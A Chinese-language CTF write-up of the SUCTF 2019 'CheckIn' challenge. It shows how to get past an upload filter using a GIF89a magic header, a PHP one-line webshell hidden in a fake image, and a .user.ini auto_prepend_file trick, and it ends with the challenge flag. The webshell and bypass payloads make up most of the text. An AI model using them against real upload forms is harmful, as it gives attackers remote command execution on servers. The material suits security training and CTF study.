[SUCTF 2019]CheckIn 1
開啟例項,發現檔案上傳頁面
根據題目提示,檢視網頁原始碼
這邊提示系統會建立一個訪問者的 IP 地址的 MD5 雜湊值作為目錄,並在其後拼接index.php
POST上傳的upload引數,檔名不能為空,不能過大,不能包含ph
和htacess
,不能有<?
,並且限制上傳型別為image
,如果滿足以上條件,則輸出檔案位置和目錄位置。
分析:
根據資訊,已經能確定上傳php型別不可行,包括php3、phtml等檔案混淆,且包含檔案型別限制,並且內容過濾了<?
,所以決定採用圖片馬+javascript+幻術頭GIF89a
的形式上傳圖片馬
payload:
------WebKitFormBoundaryi81FjE7IXd1HzMLZ
Content-Disposition: form-data; name="fileUpload"; filename="abc.jpg"
Content-Type: image/png
GIF89a
<script language='php'>eval($_POST['cmd']);</script>
------WebKitFormBoundaryi81FjE7IXd1HzMLZ
Content-Disposition: form-data; name="upload"
提交
------WebKitFormBoundaryi81FjE7IXd1HzMLZ--
上傳成功,並給出了檔案回顯,(這個abc是做測試的時候傳的)
Your dir uploads/ec53bc853c0c94f2bf546edd1a265425 <br>Your files : <br>array(5) {
[0]=>
string(1) "."
[1]=>
string(2) ".."
[2]=>
string(7) "aaa.jpg"
[3]=>
string(7) "abc.jpg"
[4]=>
string(9) "index.php"
}
所以根據程式碼提示,圖片馬地址為
uploads/ec53bc853c0c94f2bf546edd1a265425/index.php
訪問not found,存在解析問題
圖片馬成功了,接下來就是解析問題,根據提示.htaccess
被禁用,所以根據原始碼提示決定採用.user.ini
配置進行解析,這邊一樣得加上幻術頭
payload
GIF89a
auto_prepend_file=aaa.jpg
上傳成功,訪問uploads/ec53bc853c0c94f2bf546edd1a265425/index.php
,解析成功
Hacker barPOST傳遞引數,引數為cmd
,也就是一句話木馬的密碼
找到flag
flag{2fd51ec6-e0e4-432c-8569-cc524f4b0271}